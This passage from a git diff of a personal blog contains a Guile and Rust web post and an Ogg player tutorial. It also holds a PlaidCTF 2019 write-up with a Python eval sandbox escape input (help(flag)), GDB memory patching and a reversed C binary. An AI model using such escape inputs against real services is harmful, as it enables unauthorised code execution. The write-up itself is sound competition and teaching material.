+or not the data is signed. You can read more about it in [[https://xiph.org/vorbis/doc/vorbisfile/ov_read.html][the documentation]]. + +Hopefully, things are starting to click around now. Any sound that comes out of +your speakers is just a bunch of numbers, and file formats like Ogg and MP3 are +just a means of compressing those numbers. + +And finally, we'll finish up with some cleanup. + +#+BEGIN_SRC c :hl_lines 0 +free(buf); +ov_clear(&vf); +ao_close(device); +ao_shutdown(); +return 0; +#+END_SRC + +Compilation is pretty easy, too. + +#+BEGIN_SRC +$ gcc -o oggplay oggplay.c -lvorbisfile -lao +#+END_SRC + +Pretty painless, right? Without error handling, this is about 21 lines of code. + +Go ahead, try it out! If you don't save your music as Ogg Vorbis, you can +convert songs with ffmpeg: + +#+BEGIN_SRC +$ ffmpeg -i [file] -c:a libvorbis song.ogg +#+END_SRC + +Here are some exercises if you want to play with this more: +- Get the frequency from the file being played, rather than hardcoding it at + 44.1 kHz. Check out the [[https://xiph.org/vorbis/doc/vorbisfile/reference.html][file Information section of the documentation]]. +- Add a status line showing the current timestamp. +- Watch [[https://www.youtube.com/watch?v=pFgui9uGmr4][this talk from SIGINT13]]. +- Play two sounds at once by adding their PCM values. Keep in mind that 8-bit + and 16-bit integers overflow quite easily. +- Learn the library for another audio codec/container, like libopenmpt for + classic tracker music. +- If you're feeling particularly up to a challenge, try rewriting the player + using just libvorbis and libogg, rather than libvorbisfile. diff --git a/haunt/posts/plaidctf-2019.org b/haunt/posts/plaidctf-2019.org new file mode 100644 index 0000000..836c7a6 --- /dev/null +++ b/haunt/posts/plaidctf-2019.org @@ -0,0 +1,456 @@ +#+TITLE: Writeups for PlaidCTF 2019 +#+DATE: <2019-04-14 Sun 00:00> +#+TAGS: writeup security reverse-engineering capture-the-flag x86 c python + +My long-lived hiatus from capture-the-flag has come to an end, as I got off my +ass this weekend to play in PlaidCTF 2019. Being a one-man team is pretty +lonely, but my old team wasn't playing, and even if they were, I don't know if I +would've wanted to make the commute just to play with them. + +The team name I came up with was 0x7c_Jake since I've been listening to a lot of +[[https://en.wikipedia.org/wiki/Less_Than_Jake][Less than Jake]] recently and =0x7c= is =jl= in x86. With any luck, though, I won't be +playing under that team name again -- I'm going to reach out to the ACM chapter +at my university and ask about starting a team associated with the school.[fn:1] + +But I'd imagine that you don't care much for that. You're here for my challenge +solutions, aren't you? + +* can you guess me (100 pts) + +This was a pretty simple Python sandbox escape challenge. The constraint was +that your input could have a maximum of 10 unique characters. + +#+BEGIN_SRC python :hl_lines 0 +count_digits = len(set(inp)) +if count_digits <= 10: # Make sure it is a number + val = eval(inp) +else: + raise +#+END_SRC + +So if you were thinking of sending off =print(secret_value_for_password)=, you're +out of luck. + +#+BEGIN_SRC python :hl_lines 0 +f = lambda x: (len(set(x)) <= 10, len(set(x))) +f("secret_value_for_password") # >>> (False, 15) +#+END_SRC + +This was the challenge I poked at for warm up, and in about fifteen minutes I +had what I believe is an unintended solution. + +#+BEGIN_SRC prog + ____ __ __ ____ __ __ + / ___|__ _ _ _\ \ / /__ _ _ / ___|_ _ ___ ___ ___| \/ | ___ +| | / _` | '_ \ V / _ \| | | | | _| | | |/ _ \/ __/ __| |\/| |/ _ \ +| |__| (_| | | | | | (_) | |_| | |_| | |_| | __/\__ \__ \ | | | __/ + \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_| |_|\___| + + + +Input value: help(flag) +No Python documentation found for 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}'. +Use help() to get the interactive help utility. +Use help(str) for help on the str class. + +Nope. Better luck next time. +#+END_SRC + +* i can count (50 pts) + +The premise of this challenge is that there's some integer encoded as an ASCII +string. It's continually incremented by one and then checked against a +=check_flag=[fn:2] function. The flag is just whatever integer satisfies =check_flag=. + +You certainly _could_ have reverse engineered =check_flag= and plugged all of its +constraints into z3, but the function is 1394 bytes long. An easier solution is +to realize that the constraints are checked for each digit of the integer, open +the program in a debugger, set some breakpoints at various points in =check_flag=, +and brute-force the value digit-by-digit. + +This would've been a nice opportunity to use r2pipe or GDB's Python APIs, but I +started this challenge close enough to the end of the competition that doing it +by hand in GDB was the best course of action. I broke at =check_flag+0x31= so I +could see what the individual digit being checked was, as well as at +=check_flag+0x532= so I could see if the function was jumping to a =ret= -- which +would indicate that the digit doesn't satisfy the constraints. Every time I came +across a correct digit, I'd add a bogus '/' to the end of the integer string +with =set *((char *)0x56555000+0x3048) = 0x2f=[fn:3] so that =check_flag= started +checking the following digit, rather than incrementing the integer and ruining +everything. Again, the return key on my keyboard would have appreciated it if I +scripted my solution, but it worked and I was able to get the flag of +"PCTF{2052419606511006177}". + +* big_maffs (250 pts) + +I found this challenge to be really difficult, and at the time of writing this, +my solution is still running. I began by reverse engineering the binary to its +equivalent C. + +#+BEGIN_SRC c :hl_lines 0 +#include +#include +#include +#include + +struct string { + uint64_t length; + char *data; +}; + +static char peanut[] = { + 0x05, 0xbb, 0x01, 0x59, 0x6f, 0x06, 0x18, 0x61, 0x3d, 0xa0, + 0x3a, 0xe4, 0x9c, 0xe4, 0xe1, 0xe6, 0x73, 0x93, 0x81, 0xf2, + 0x10, 0x6b +}; + +static char banana[] = { + 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, + 0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, +}; + +static struct string *global_4090; + + +// 0x00001189 1 26 eom_error +void eom_error(void) +{ + puts("no more memory? https://downloadmoreram.com/"); + exit(1); +} + +// 0x000011a3 3 51 my_malloc +void *my_malloc(int size) +{ + char *ret; + if ((ret = malloc(size)) == NULL) { + eom_error(); + } + return ret; +} + +// 0x000011d6 3 62 my_realloc +void *my_realloc(char *data, int length) +{ + char *res; + + // STACK SIZE 0x20 + if ((res = realloc(data, length)) == NULL) { + eom_error(); + } + + return res; +} + +// 0x00001214 1 97 make_string +struct string *make_string(char *data, int n) +{ + struct string *ret; + + // STACK SIZE 0x20 + ret = my_malloc(sizeof(struct string)); + ret->data = my_malloc(n); + memcpy(ret->data, data, n); + ret->length = n; + + return ret; +} + +// 0x00001695 7 72 all_null? +int all_null(struct string *s) +{ + int null_count; + + null_count = 0; + while (null_count < s->length) { + if (s->data[null_count] == '\0') { + null_count++; + } else { + return 0; + } + } + + return 1; +} + +// 0x000016dd 8 146 ends_with_digit? +int ends_with_digit(struct string *s) +{ + int i; + + // STACK SIZE 0x18 + if (all_null(s)) { + return 0; + } + + i = s->length - 1; + + while (i >= 0) { + if (s->data[i] == '\0') { + i--; + } else { + // True for c > 64, as well as the following cases: + // - c == 1 + // - 4 <= c <= 7 + // - 16 <= c <= 31 + return (s->data[i] & 0xaa) > (s->data[i] & 0x55); + } + } + + return 0; +} + +// 0x00001275 1 70 resize_string_by_one +void resize_string_by_one(struct string *s) +{ + // STACK SIZE 0x10 + s->length++; + s->data = my_realloc(s->data, s->length); +} + +// 0x000012bb 21 492 strum +void strum(struct string *a, struct string *b) +{ + int onion; + int brisket; + int cheese; + char donut; + char syrup; + char carrot; + char melon; + char butter; + + // STACK SIZE 0x30 + + butter = '\0'; + cheese = 0; + + // 0x13c3 + while (cheese < b->length) { + melon = '\0'; + brisket = 0; + + while (brisket < 8) { + syrup = butter \ + + ((a->data[cheese] >> brisket) & 1) \ + + ((b->data[cheese] >> brisket) & 1); + + if (banana[syrup + 2] != '\0') { + melon |= 1 << brisket; + } + + butter = banana[syrup + 8]; + brisket++; + } + + if (a->length == cheese) { + resize_string_by_one(a); + } + + a->data[cheese] = melon; + cheese++; + } + + while (butter != '\0') { + if (cheese >= a->length) { + resize_string_by_one(a); + } + + carrot = '\0'; + onion = 0; + + while (onion < 8) { + donut = butter + ((a->data[cheese] >> onion) & 1); + + if (banana[donut + 2] != '\0') { + carrot |= 1 << onion; + } + + butter = banana[donut + 8]; + onion++; + } + + a->data[cheese] = carrot; + cheese++; + } +} + +// This function is extremely similar to strum, but with 'subl %eax, %esi; movl +// %esi, %eax' at 0x00001335 instead of 'addl %esi, %eax'. +void bake(struct string *a, struct string *b) +{ + int onion; + int brisket; + int cheese; + char donut; + char syrup; + char carrot; + char melon; + char butter; + + // STACK SIZE 0x30 + + butter = '\0'; + cheese = 0; + + // 0x13c3 + + while (cheese < b->length) { + melon = '\0'; + brisket = 0; + + while (brisket < 8) { + syrup = butter \ + + ((a->data[cheese] >> brisket) & 1) \ + - ((b->data[cheese] >> brisket) & 1); + + if (banana[syrup + 2] != '\0') { + melon |= 1 << brisket; + } + + butter = banana[syrup + 8]; + brisket++; + } + + if (a->length == cheese) { + resize_string_by_one(a); + } + + a->data[cheese] = melon; + cheese++; + } + + while (butter != '\0') { + if (cheese >= a->length) { + resize_string_by_one(a); + } + + carrot = '\0'; + onion = 0; + + while (onion < 8) { + donut = butter + ((a->data[cheese] >> onion) & 1); + + if (banana[donut + 2] != '\0') { + carrot |= 1 << onion; + } + + butter = banana[donut + 8]; + onion++; + } + + a->data[cheese] = carrot; + cheese++; + } +} + +struct string *gaze(struct string *a, struct string *b) +{ + struct string *local_8; + struct string *local_10; + struct string *local_18; + struct string *local_20; + struct string *local_28; + + // STACK SIZE 0x40 + + if (all_null(a)) { + local_28 = make_string("\x00", 1); + strum(local_28, b); + strum(local_28, global_4090); + return local_28; + } + + if (all_null(b)) { + local_20 = make_string("\x00", 1); + strum(local_20, a); + bake(local_20, global_4090); + return gaze(local_20, global_4090); + } + + local_18 = make_string("\x00", 1); + strum(local_18, b); + bake(local_18, global_4090); + + local_10 = gaze(a, local_18); + + local_8 = make_string("\x00", 1); + strum(local_8, a); + bake(local_8, global_4090); + + return gaze(local_8, local_10); +} + +void fcn_176f(struct string *a, struct string *b) +{ + // STACK SIZE 0x10 + while (!ends_with_digit(a)) { + bake(a, b); + } + strum(a, b); +} + +// 0x00001935 4 230 main +int main(int argc, char **argv) +{ + struct string *local_8; + struct string *local_10; + struct string *local_18; + int local_1c; + + // STACK SIZE 0x20 + global_4090 = make_string("\x01", 1); + + puts("Generating your flag, please wait warmly..."); + + local_18 = make_string("\x1e", 1); + local_10 = gaze(local_18, local_18); + + local_8 = make_string((void *) 0x206e, 0x17); + fcn_176f(local_10, local_8); + + local_1c = 0; + + while (local_1c <= 0x15) { + peanut[local_1c] ^= local_10->data[local_1c]; + local_1c++; + } + + printf("Your flag is: %s\n", peanut); + return 0; +} +#+END_SRC + +TL;DR: among other things, there's a function called =gaze=[fn:4] that recursively +generates an XOR decryption key for =peanut=. + +I took this be an "optimize me" challenge. My current solution memoizes the +results of =gaze= into a linked list to reduce the number of recursive +computations made. In retrospect, I probably should've used a binary search tree +or a hash table instead of a linked list, but I was trying to quickly hack +together a solution. Also in retrospect, I probably should spent my time +figuring out what =strum= and =bake= _really_ do and reversing the calculation rather +than trying my hand at optimizing it. Ah, well. + +One neat thing I found out about from working on this challenge was the +=MALLOC_CHECK_= environment variable recognized by glibc. If it's set to =0=, heap +corruption errors are silently ignored. My solution needed it, and I'm unsure of +whether the heap corruption is in my translation of the original binary, or if +it was in my memoization code. Either way, I have a feeling it will make itself +useful again in the near future. + +--- + +Addendum: As it turns out, memoization was a wildly sophomoric attempt at a +solution, and the real solution was, as I mentioned, to figure out the purposes +of =strum= and =bake=. It turns out that =strum= is base (-2) addition, =bake= is base +(-2) subtraction, =gaze= is the Ackermann function, and that the structure is +actually a [[https://en.wikipedia.org/wiki/Arbitrary-precision_arithmetic][bignum]], not a string. In this case, that poor assumption led me down +a wrong path. Once you figure that out, you'll need to put your modular +arithmetic chops to work as well. An excellent writeup from sasdf of [[https://balsn.tw/][Balsn]] is +available [[https://sasdf.cf/ctf/writeup/2019/plaid/rev/bigmaffs/][here]]. + +[fn:1] So if you currently study at UMass Amherst and you'd be interested in joining a CTF team, [[http://jakob.space/about/][shoot me an email!]] +[fn:2] The executable wasn't stripped. +[fn:3] Where =0x56555000= is the address that the binary was loaded to in memory, and =0x3048= is the beginning of the ASCII-encoded integer (plus an offset for whichever digit I was on) +[fn:4] This time the binary _was_ stripped. I didn't bother updating the temporary names I used. Yes, I use foods for variables and random verbs for functions. diff --git a/haunt/posts/pushing-haunt-to-its-limits.org b/haunt/posts/pushing-haunt-to-its-limits.org new file mode 100644 index 0000000..5daf935 --- /dev/null +++ b/haunt/posts/pushing-haunt-to-its-limits.org @@ -0,0 +1,1102 @@ +#+TITLE: Pushing Haunt to Its Limits +#+DATE: <2022-12-12 Mon 07:31> +#+TAGS: writeup programming lisp guile scheme webdev +#+META-TAGS: (("twitter:card" . "summary") ("twitter:site" . "@0daysfordays") ("twitter:creator" . "@0daysfordays") ("og:description" . "Some thoughts on using Guile to write a comment system, among other things.") ("og:image" . "https://jakob.space/static/image/old-webmention-screenshot.png")) + +When I started writing this article, I didn't mean to do anything more than describe a comment system I'd written in Guile. But as often happens when I write, I soon found myself disregarding that original scope and recording the history of every line of code I've written that's ever been run by a web server. I settled on allowing this to be an article about incorporating dynamic content into a [[https://dthompson.us/projects/haunt.html][Haunt]] site -- a use-case that Haunt probably wasn't built to support, but which works surprisingly well due to Haunt configurations being ordinary Scheme programs. + +* A Reason to Demarcate "Dynamic" and "Static" + +A comparison that's sometimes made in discussing personal websites is "dynamic" versus "static." To me, dynamic is something that requires server-side logic or rendering, and static is something that doesn't. A website built using [[https://en.wikipedia.org/wiki/Jekyll_(software)][Jekyll]] and hosted solely on [[https://neocities.org/][Neocities]] or [[https://pages.github.com/][GitHub pages]] is static, at least by my definition, and a [[https://en.wikipedia.org/wiki/WordPress][WordPress]] or [[https://en.wikipedia.org/wiki/Drupal][Drupal]] blog is dynamic. The picture is muddied by the existence of third-party services like [[https://en.wikipedia.org/wiki/Disqus][Disqus]] or [[https://utteranc.es/][utterances]], but I digress. I make the distinction in this article because I have two physically isolated machines with distinct purposes: one is a static web server, and the other runs the software that's responsible for implementing the "dynamic" capabilities. + +In particular, this is all firmly seated in my old man's home network setup, which he uses to host (among other things) a website, so he has a machine running Apache. The page you're viewing now is hosted on that machine, and so is my [[https://p0ly.com/][brother's website]]. We're able to host them all on the same machine thanks to name-based [[https://httpd.apache.org/docs/2.4/vhosts/index.html][virtual hosts]]. On the same network is a separate Gentoo server that's running a couple of services for myself -- because I don't like the idea of running experimental garbage on a server that belongs to my dad. Apache supports operation as a [[https://httpd.apache.org/docs/2.4/mod/mod_proxy.html][forward proxy]], so I'm able to have dad's server mediate traffic between the WAN and my Gentoo box. Initially, I only used this for exposing my [[https://social.jakob.space/][Pleroma instance]] to the internet, but I later added a handler for =jakob.space/api/*=, which hits the Guile application that this article is about. + +* The Beginning: An RSVP System + +Earlier this year, I wanted to have some folks over to celebrate my 22nd birthday. I did what anyone in this situation would do and wrote my own RSVP system. + +If you're just inviting a dozen or so people over, and don't otherwise have industrial-grade requirements, it's a simple thing to write yourself. I think the database schema does well to summarize the workings of the system: + +#+BEGIN_SRC sql +CREATE TABLE IF NOT EXISTS events ( + id SERIAL, + title varchar(128) NOT NULL, + description varchar(16384) NOT NULL, + datetime timestamp with time zone NOT NULL, + location varchar(128) NOT NULL, + PRIMARY KEY (id) +); + +CREATE TABLE IF NOT EXISTS invitations ( + id SERIAL, + vanity char(12) NOT NULL, + comments varchar(1024) NOT NULL, + created_on timestamp with time zone default current_timestamp, + capabilities bigint NOT NULL, + event_id integer NOT NULL, + PRIMARY KEY (id) +); + +CREATE TABLE IF NOT EXISTS rsvps ( + id SERIAL, + vanity char(12) NOT NULL, + invitation_id char(12) NOT NULL, + event_id bigint NOT NULL, + fullname varchar(128) NOT NULL, + email varchar(256) NOT NULL, + guests varchar(1024) NOT NULL, + attending varchar(32) NOT NULL, + PRIMARY KEY (id) +); +#+END_SRC + +I wanted a way to communicate information about the event (where and when) to friends, and end up with a list of attendees so I'd know how many burgers and beers to get. The former is represented by the =events= table, and the latter is represented by the =rsvps= table. + +The =invitations= table is a bit more interesting. Invitations are "magic links" containing a unique identifier (the value in the =vanity= column) for the person I'm inviting. When an RSVP is submitted, I keep track of which invitation code was used, so if someone's sharing invitation links with people I didn't invite myself, I know who to get mad at.[fn:1] Also, some people get more information than others. In this particular example, my friend was graduating on the same day, so we did a single celebration for the both of us. I wanted her to be able to see the list of attendees, but I didn't want anyone else to be able to see it, so I added a =capabilities= column. It's a =bigint=, and I use bit-flags to represent individual capabilities such as whether or not a particular invitee is able to view the guest list. + +For the actual implementation of the RSVP system, I wrote some JavaScript to fetch the event info (via [[https://en.wikipedia.org/wiki/XMLHttpRequest][XMLHttpRequest]]), display it, generate a form, and when the user presses submit, send that off as a JSON object. It's a lot of uninteresting and unsurprising code, so I won't discuss it here, but you can [[https://git.sr.ht/~jakob/blog/tree/self-hosted-comments/item/haunt/static/js/rsvp.js][find it here]] if you'd like to see how it works. + +[[./rsvp-screenshot.png]] +#+CAPTION: The specific event I'm talking about in the example, as it appears in the RSVP system (with mildly-sensitive information obscured.) The header and footer are static, but everything else is generated by JavaScript when the page loads. + +The JavaScript needs a server to interact with, which is where Guile comes into the picture. I chose to use the built-in =(web server)= module over a[fn:2] web framework like [[https://www.gnu.org/software/artanis/][Artanis]]. The interface is simple to use: you call =run-server= on a lambda that takes a =request= as a parameter and returns a =response=. In this case, I have two endpoints, =GET /api/rsvp/event-info= and =POST /api/rsvp=, with different behavior, and I defer to some "handler" depending on which endpoint is being requested. + +#+BEGIN_SRC scheme +(use-modules (ice-9 match) + (srfi srfi-1) + (web request) + (web response) + (web server) + (web uri)) + +(define (not-found request) + "Build a (somewhat) descriptive response for a non-existent resource." + (values (build-response #:code 404) + (string-append "Resource not found: " + (uri->string (request-uri request))))) + +(define (handle-api-request request body endpoint) + "Route handler for the API server." + (let ((method (request-method request)) + (originating-ip (assoc-ref (request-headers request) 'x-forwarded-for)) + (args (uri-query (request-uri request)))) + (if args + (format #f "~a ~a (~a) (~a)" method endpoint args originating-ip) + (format #f "~a ~a (~a)" method endpoint originating-ip))) + (match (cons (request-method request) endpoint) + ... + (('GET "rsvp" "event-info") get-event-info) + (('POST "rsvp") post-event-rsvp) + .. + (_ (lambda (. args) (not-found request))))) + +(define (main-request-handler request body) + "Server entry-point; parse `request' and defer to routing system." + (let* ((path-encoded (uri-path (request-uri request))) + (path (split-and-decode-uri-path path-encoded))) + (define-values (response resp-body) + (if (string= "api" (first path)) + (handle-api-request request body (drop path 1)) + (not-found request))) + (values response resp-body))) + +(run-server main-request-handler) +#+END_SRC + +Some minutiae have been scrubbed from the above snippet, like appending a =Access-Control-Allow-Origin= header to the response and rate-limiting endpoints. I won't annotate every part of the RSVP system, but to give you a sense of how Guile acts as the "glue" between the JavaScript code and the Postgres tables, here's the code for =post-event-rsvp=: + +#+BEGIN_SRC scheme +(use-modules (json) + (squee) + (srfi srfi-1) + (srfi srfi-9) + (web request) + (web response) + (web uri)) + +(define (valid-receipt-code receipt) + "Check database to see if `receipt'." + (and (= (string-length receipt) (base64-length (%vanity-length))) + (positive? + (length + (exec-query conn "SELECT * FROM rsvps WHERE vanity = $1" + (list receipt)))))) + +(define-record-type + (make-rsvp-update-parameters) + rsvp-update-parameters? + (invitation-code rsvp-update-code set-rsvp-update-code!) + (name rsvp-update-name set-rsvp-update-name!) + (email rsvp-update-email set-rsvp-update-email!) + (attending rsvp-update-attending set-rsvp-update-attending!) + (guests rsvp-update-guests set-rsvp-update-guests!)) + +(define (params->rsvp-update params) + "Parse `params', an alist, into a `'." + (let ((res (make-rsvp-update-parameters))) + (set-rsvp-update-code! res (assoc-ref params "update")) + (set-rsvp-update-name! res (assoc-ref params "name")) + (set-rsvp-update-email! res (assoc-ref params "email")) + (set-rsvp-update-attending! res (assoc-ref params "rsvp")) + (set-rsvp-update-guests! res (assoc-ref params "guests")) + (if (any not + (list (rsvp-update-code res) + (rsvp-update-name res) + (rsvp-update-email res) + (rsvp-update-attending res) + (rsvp-update-guests res))) + #f + res))) + +(define (update-event-rsvp params) + "Handler for updating an RSVP to an event." + (let ((params (params->rsvp-update params))) + (unless params + (panic "invalid form data")) + (unless (valid-receipt-code (rsvp-update-code params)) + (panic "invalid receipt code")) + (exec-query conn + "UPDATE rsvps SET fullname = $2, email = $3, attending = $4, guests = $5 WHERE vanity = $1" + (list + (rsvp-update-code params) + (rsvp-update-name params) + (rsvp-update-email params) + (rsvp-update-attending params) + (rsvp-update-guests params))) + (values '((content-type . (application/json))) + (scm->json-string + `((receipt . ,(rsvp-update-code params))))))) + +(define (post-event-rsvp request body) + "Entry point for RSVP create/update. We dispatch on the parameters." + (let* ((params (json-string->scm (utf8->string body)))) + (cond ((assoc-ref params "update") (update-event-rsvp params)) + ... + (else (panic "invalid invite/update code"))))) + +#+END_SRC + +I'm using [[https://notabug.org/cwebber/guile-squee/][guile-squee]] to reach out to the Postgres database. It's a nice library and a great poster child for Guile's [[https://www.gnu.org/software/guile/manual/html_node/Dynamic-FFI.html][dynamic FFI interface]], but it's little more than a wrapper around =libpq= -- not a high-level interface. This is where the choice to use Guile has been a bit rough around the edges: you're on your own for a lot of pretty common tasks in web development world, like generating database queries or validating that a request is well-formed. And that's precisely what we're doing here. When =handle-api-request= calls out to =post-event-rsvp=, we figure out whether we're updating a previously submitted RSVP or submitting a new one (the code for that case has been omitted in the interest of brevity). In =update-event-rsvp=, I have to ensure the parameters are well-formed, parse them into a record, and then interpolate those into a SQL query that I wrote myself. + +At the point this code was written, I hadn't written a line of Guile in about a year, and I was thinking of this more as throw-away code rather than something I'd be writing a blog post about. I wouldn't hesitate to describe it as especially ugly. The comment system, being newer, does a marginally better job of showing off the ways that Scheme allows you to be clever and avoid boilerplate: + +#+BEGIN_SRC scheme +(use-modules (json) + (squee) + (srfi srfi-1) + (srfi srfi-19) + (srfi srfi-26) + (web request) + (web response) + (web uri)) + +(define-json-mapping + make-internal-comment + internal-comment? + json->internal-comment <=> internal-comment->json + (id internal-comment-id) + (name internal-comment-name) + (subject internal-comment-subject) + (email internal-comment-email) + (comment internal-comment-comment) + (url internal-comment-url) + (publish-time + internal-comment-publish-time + "publish-time" + (lambda (x) (string->date x "~Y~m~d ~H~M~S.~N")) + (lambda (x) (date->string x "~Y-~m-~d ~H:~M:~S.~N"))) + (reactions internal-comment-reactions)) + +(define (get-comments-by-slug slug) + "Internal function for querying the approved comments on a post + +This interface exists for dynamically generating the comment view from Haunt." + (define (make-internal-comment~ . args) + (let* ((approved (first (take-right args 2))) + (approved (string->date approved "~Y~m~d ~H~M~S.~N")) + (reactions (last args)) + (reactions (if reactions + (with-input-from-string reactions read) + '()))) + (apply make-internal-comment + (append (drop-right args 2) (list approved reactions))))) + (let* ((query "SELECT id, name, subject, email, comment, url, approved, reactions + FROM comments WHERE slug = $1 and approved IS NOT NULL") + (result (exec-query conn query (list slug)))) + (map (cut apply make-internal-comment~ <>) result))) + +(define (get-comments request body) + "API endpoint handler for querying for the comments on a particular post + +This is a wrapper around `get-comments-by-slug'." + (define (normalize-record record) + (json-string->scm (internal-comment->json record))) + (let* ((query-string (uri-query (request-uri request))) + (params (if query-string + (decode-form query-string) + '())) + (slug (assoc-ref params "p"))) + (unless slug (panic "missing `slug' query parameter")) + (values '((content-type . (application/json))) + (scm->json-string + (list->vector + (map normalize-record (get-comments-by-slug (car slug)))))))) +#+END_SRC + +Here, leveraging the fact that the result of =exec-query= is "close enough" to the parameters we would want to pass to the record constructor, and deferring to =apply=. Of course, this example has warts as well. I'm having to call =normalize-record= because, even though I've defined a JSON mapping for ==, =scm->json-string= doesn't know how serialize the record -- we can only serialize it if we call =internal-comment->json=. So, for every record, I serialize it into a JSON object and then immediately deserialize it into an =alist= -- effectively to erase the type information and yield something that =scm->json-string= knows how to deal with. I have to call =scm->json-string= in this case because I'm dealing with a /list/ of records. + +There might be a better way to do this, but I haven't figured it out yet! And I think that's a fair summary of my experience writing this in Guile. Unlike other languages that see a lot of use in the web development world, in Scheme, there isn't a clear-cut "best way" or "best library" to do these sorts of things. It provides you with all of the tools you'd need to do things in a way that's beautiful and easily-understood, but if you're in a rush, and too lazy to sit down and generalize your problem, the code that you end up writing can be a bit hard on the eyes. + +Had I not chosen Guile, the language I would have reached for is Rust, which has a nice ORM library ([[http://diesel.rs/][Diesel]]) for interacting with databases, and most Rust web frameworks will take care of parsing form data into a =struct= (and rejecting if the request is ill-formed.) There, you're afforded similar facilities for writing your own abstractions, but the community has given you some enough cookie cutters that you don't have to think about the basic things if all you want to do is write a web application. + +One last thing I'd like to mention: this isn't entirely specific to Scheme. Some things I complained about above, like the dance I had to do with serializing JSON, might be easier to deal with if I were using a statically-typed language, but I'm certain the rest of it comes down to Guile having a smaller community. In other words: I don't think this is the fault of Scheme or Guile. With that, I hope I've [[https://en.wikipedia.org/wiki/Nerd_sniping][nerd sniped]] someone into making a great new web framework for Guile. + +But I think that's all there is to say about the RSVP system. It was an interesting-enough proof-of-concept for me to experiment with running more things on the server-side. + +* The Sequel: A Picture Gallery + +Despite the rough edges in the code outlined above, from the perspective of my non-technical friends, the RSVP system worked flawlessly and I was able to throw a huge party. We ate a ton of food and drank a lot of beer. My friend Aaron was also nice enough to take the DSLR from me and take some pictures! I wanted to put them somewhere for everyone who went to be able to see, so I put them on my website and used the "magic link" approach again. + +#+BEGIN_SRC sql +CREATE TABLE IF NOT EXISTS galleries ( + id SERIAL, + vanity char(12) NOT NULL, + title varchar(128), + description varchar(4096) NOT NULL, + datetime timestamp with time zone NOT NULL, + PRIMARY KEY (id) +); + +CREATE TABLE IF NOT EXISTS images ( + id SERIAL, + vanity char(12) NOT NULL, + title varchar(128), + filename varchar(64) NOT NULL, + thumb_filename varchar(64) NOT NULL, + datetime timestamp with time zone NOT NULL, + PRIMARY KEY (id) +); +#+END_SRC + +The "gallery" system has the same architecture as the "RSVP" system: there's some JavaScript to fetch info about the gallery and render it client-side, and there's some Guile code running on my server for the JavaScript to interact with. The only part that was different is that now I was dealing with images. + +#+BEGIN_SRC scheme +(define (image-exists? file-name) + (define (string/= a b) (not (string= a b))) + (and (string/= file-name ".") + (string/= file-name "..") + (member file-name (scandir (%gallery-image-directory))))) + +(define (read-image file-name) + (let* ((ext (string-downcase (last (string-split file-name #\.)))) + (mime (cond ((string= ext "jpg") 'image/jpeg) + ((string= ext "png") 'image/png) + (else (error "Unknown MIME type."))))) + (values `((content-type . (,mime))) + (call-with-input-file (format #f "~a/~a" (%gallery-image-directory) file-name) + (lambda (port) + (get-bytevector-all port)))))) + +(define (get-image request body) + (let* ((query-string (uri-query (request-uri request))) + (params (if query-string + (decode-form query-string) + '())) + (file-name (car (assoc-ref params "name")))) + (unless (image-exists? file-name) (panic "invalid filename")) + (read-image file-name))) +#+END_SRC + +I have a legitimate complaint about the =(web server)= module -- I cannot, for the life of me, figure out how to respond with a binary payload /without/ reading the entire blob into memory first. This is a problem, because the photos coming off of the DSLR are massive and my server process was literally OOM'ing. Unable to resolve it in Guile, I eventually gave up and used Rust for the "hosting the images" part. + +#+BEGIN_SRC rust +use ascii::AsciiString; +use std::fs; +use std::path::Path; + +extern crate ascii; +extern crate tiny_http; + +const BASE_DIR: &'static str = "/opt/gallery-images/"; + +fn get_content_type(path: &Path) -> &'static str { + let extension = match path.extension() { + None => return "text/plain", + Some(e) => e, + }; + + match extension.to_ascii_lowercase().to_str().unwrap() { + "gif" => "image/gif", + "jpg" => "image/jpeg", + "jpeg" => "image/jpeg", + "png" => "image/png", + "pdf" => "application/pdf", + "htm" => "text/html; charset=utf8", + "html" => "text/html; charset=utf8", + "txt" => "text/plain; charset=utf8", + _ => "text/plain; charset=utf8", + } +} + +fn main() { + let server = tiny_http::Server::http("0.0.0.0:8069").unwrap(); + + loop { + let rq = match server.recv() { + Ok(rq) => rq, + Err(_) => break, + }; + + println!("{:?}: {:?}", chrono::offset::Local::now(), rq); + + let url = rq.url().to_string(); + let path = Path::new(BASE_DIR); + let append = Path::new(&url); + + if let Ok(stripped) = append.strip_prefix("/static-ext/") { + let path = path.join(stripped); + if !path + .canonicalize() + .map(|x| x.starts_with(BASE_DIR)) + .unwrap_or(false) + || path.is_dir() + { + let rep = tiny_http::Response::new_empty(tiny_http::StatusCode(404)); + let _ = rq.respond(rep); + } else { + let file = fs::File::open(&path); + + if file.is_ok() { + let response = tiny_http::Response::from_file(file.unwrap()); + + let response = response.with_header(tiny_http::Header { + field: "Content-Type".parse().unwrap(), + value: AsciiString::from_ascii(get_content_type(&path)).unwrap(), + }); + + let _ = rq.respond(response); + } else { + let rep = tiny_http::Response::new_empty(tiny_http::StatusCode(404)); + let _ = rq.respond(rep); + } + } + } else { + let rep = tiny_http::Response::new_empty(tiny_http::StatusCode(404)); + let _ = rq.respond(rep); + } + } +} +#+END_SRC + +I added a second =VirtualHost= for a =/static-ext/= path, which hits a process running that Rust snippet instead of the main Guile +program. It may have been more sensible to just store the images on dad's server, since they're static content, but I've got a much bigger disk attached to my machine and didn't want to fill up his with a couple hundred DSLR photos. + +That's all. The gallery was a simple extension of the code that I'd already written for keeping track of RSVPs. [[https://git.sr.ht/~jakob/blog/tree/self-hosted-comments/item/haunt/jakob/dynamic/capabilities/gallery.scm][The whole file is under a hundred LOC.]] + +* Comments + +That's a lot of words about two systems you're unlikely to ever interact with unless you're one of the half-dozen or so people I still hang out with. The more prominent change for regular readers is the re-introduction of a comment system. There have been comment systems on jakob.space (and its predecessors) in the past, but they predate the first commit in the [[https://git.sr.ht/~jakob/blog][blog]] repository, so I'm devoting a few sections to talking about them; the lessons learned (however few) from previous iterations are responsible for some of the decisions made in the current implementation. + +** The Previous Self-Hosted Comment System + +Before Haunt, I used Hugo. And before that, I wasn't using a static site generator at all. From 2015 to 2018, my personal website was running on top of [[https://flask.palletsprojects.com/][Flask]] and [[https://www.sqlite.org/][SQLite]]. It used to look 